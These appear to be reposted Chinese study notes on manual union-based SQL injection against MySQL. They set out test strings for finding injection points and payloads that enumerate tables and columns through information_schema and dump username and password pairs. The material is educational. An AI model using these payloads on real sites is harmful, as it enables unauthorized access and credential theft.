SQL注入笔记
Posted 777Sec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入笔记相关的知识,希望对你有一定的参考价值。
“ 个人学习笔记(一)”
SQL注入
简述
通过把SQL语句插入到用户输入内容、Web表单、页面请求中的变量中,最终被服务器执行,达到欺骗服务器执行恶意的SQL命令的攻击方法。
手工注入
联合查询注入
不同的数据库,由于在SQL语法上的差异,SQL注入方法也由于差异。虽然每种数据库的手工注入方法有所差异,但是手工注入的思路一致。
手工注入思路:
1.确定是否存在注入,注入是字符型还是数字型2.确定注入点的列数3.确定显示的字段顺序4.获取当前的数据库5.获取数据库中的表名称6.获取数据库中的列名称7.获取数据
mysql数据库
一、确定是否存在注入,注入是字符型还是数字型
1. 数字型注入
构造测试 | 预期结果 |
1' | 页面变化 |
1 and 1=1 | 页面不变化 |
1 and 1=2 | 页面变化 |
1+1 | 页面变化 |
3 -1 | 页面变化 |
1+0 | 页面不变化 |
1- 0 | 页面不变化 |
1 or 1=1 | 返回所有记录 |
1 or 1=2 | 返回原来相同的结果 |
1 or 2>1 | 返回所有记录 |
1 or 1>2 | 返回原来相同的结果 |
1 xor 1=1 | 页面发生变化 |
1 xor 1=2 | 页面不变化 |
URL编码 |
2. 字符型注入
构造测试 | 预期结果 |
a' | 返回错误 |
a' and '1' = '1 | 页面不变化 |
a' and '1' = '2 | 页面变化 |
a' or '1' = '1 | 返回所有记录 |
a 'or '1' = '2 | 返回原来相同的结果 |
1'%2B' | 页面不变化 |
1'%2Basdf | 页面变化 |
3. 搜索型注入
构造测试 | 预期结果 |
' | 返回错误 |
% | 返回错误 |
&; | 返回错误 |
、 | 返回错误 |
$ | 返回错误 |
@ | 返回错误 |
! | 返回错误 |
# | 返回错误 |
/ | 返回错误 |
返回错误 | |
[ | 返回错误 |
] | 返回错误 |
%' and 1=1 and '%'=' | 返回正常 |
%' and 1=2 and '%'=' | 返回错误 |
and 1=1 and '%'=' | 返回错误 |
二、确定注入点的列数
联合查询使用的是union select语句,union select语句左右两边的列数必须相等,则必须知道注入点查询的列数。
order by 语句用于根据指定的列对结果集进行排序,如果没有那一列,则会报错。
注释符: #,%23,--+,%00,/*
方法: '1 order by 3--+ (3为列数)
?id=1' order by 3--+ (返回正常,说明存在3列)
?id=1' order by 4--+ (返回正常,说明存在4列)
三、确定显示的字段顺序
确定字段在页面上的显示位(是否有显示位)
方法: ' and 1=2 union select 1,2,3,4#
?id=1' and '1' = '2' union select 1,2,3--+ (显示位2,3列)
四、获取当前的数据库
替换掉显示位上的数字,就可以在前端页面显示出来
方法: ' and 1=2 union select 1,2,3,database()#
?id=1' and '1' = '2' union select 1,2,database()--+
•@@basedir 查询数据库安装路径•@@datadir 查询数据库所在目录•version() 查询数据库的版本•user() 查询当前数据库的使用用户•database() 当前使用数据库的名字
五、获取数据库中的表名称
在Mysql中,存在一个全局的数据库information_schema information_schema数据库中的tables表提供关于数据库中的表的信息(包括视图)
方法: ' and 1=2 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
?id=1' and '1' = '2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
六、获取数据库中的列名称
information_schema数据库中的columns表提供关于数据库中所有表的列信息(包括视图)
方法: ' and 1=2 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='表名'#
?id=1' and '1' = '2' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
七、获取数据
方法: ' and 1=2 union select 1,2,3,concat_ws(列名1,0x3a,列名2) from '表名'#
?id=1' and '1' = '2' union select 1,2,group_concat(username,0x3a,password) from users--+)
0x3a:0x是十六进制的标志,3a是十进制的58,是ascii中的':',用以分割password和username
mysql字符连接函数,将多个字符串连接成一个字符串。
•concat(str1, str2,...)•concat_ws(分隔符, str1, str2, ...)•group_concat(str1,分隔符十六进制,str2 )
以上是关于SQL注入笔记的主要内容,如果未能解决你的问题,请参考以下文章
(2020上半年第40天(代码审计-SQL注入))小迪网络安全笔记